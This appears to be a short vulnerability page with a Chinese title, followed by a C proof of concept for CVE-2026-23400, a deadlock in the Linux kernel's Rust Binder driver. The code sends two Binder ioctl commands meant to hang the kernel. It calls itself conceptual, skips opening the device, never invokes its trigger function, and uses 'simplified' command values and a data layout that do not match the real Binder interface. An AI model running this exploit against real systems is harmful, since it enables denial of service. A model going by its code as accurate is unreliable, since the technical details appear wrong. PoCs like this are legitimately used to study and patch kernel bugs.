CVE-2026-23400: Linux内核Rust Binder死锁漏洞

/* * PoC for CVE-2026-23400: Rust Binder Deadlock * This is a conceptual reproduction of the deadlock sequence. * Requires a kernel with rust_binder enabled. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #define BINDER_WRITE_READ _IOWR('b', 1, struct binder_write_read) // Simplified definitions for binder commands #define BC_DEAD_BINDER_DONE 0x10 #define BC_CLEAR_DEATH_NOTIFICATION 0x11 void trigger_deadlock(int fd) { // This sequence must be executed on a thread that is NOT a looper // to trigger the deadlock logic described in the CVE. struct { uint32_t cmd; void *ptr; } data; // Step 1: Assume BR_DEAD_BINDER was received previously // Step 2: Invoke BC_CLEAR_DEATH_NOTIFICATION data.cmd = BC_CLEAR_DEATH_NOTIFICATION; data.ptr = (void *)0xdeadbeef; // Mock pointer ioctl(fd, BINDER_WRITE_READ, &data); // Step 3: Invoke BC_DEAD_BINDER_DONE // This triggers the path where dead_binder_done holds proc lock // and tries to push work to the process queue (needs proc lock again). data.cmd = BC_DEAD_BINDER_DONE; data.ptr = (void *)0xdeadbeef; ioctl(fd, BINDER_WRITE_READ, &data); } int main() { // Implementation to open /dev/binder and setup context is omitted // for brevity, as this focuses on the specific command sequence. printf("Attempting to trigger CVE-2026-23400 deadlock...\n"); // trigger_deadlock(binder_fd); return 0; }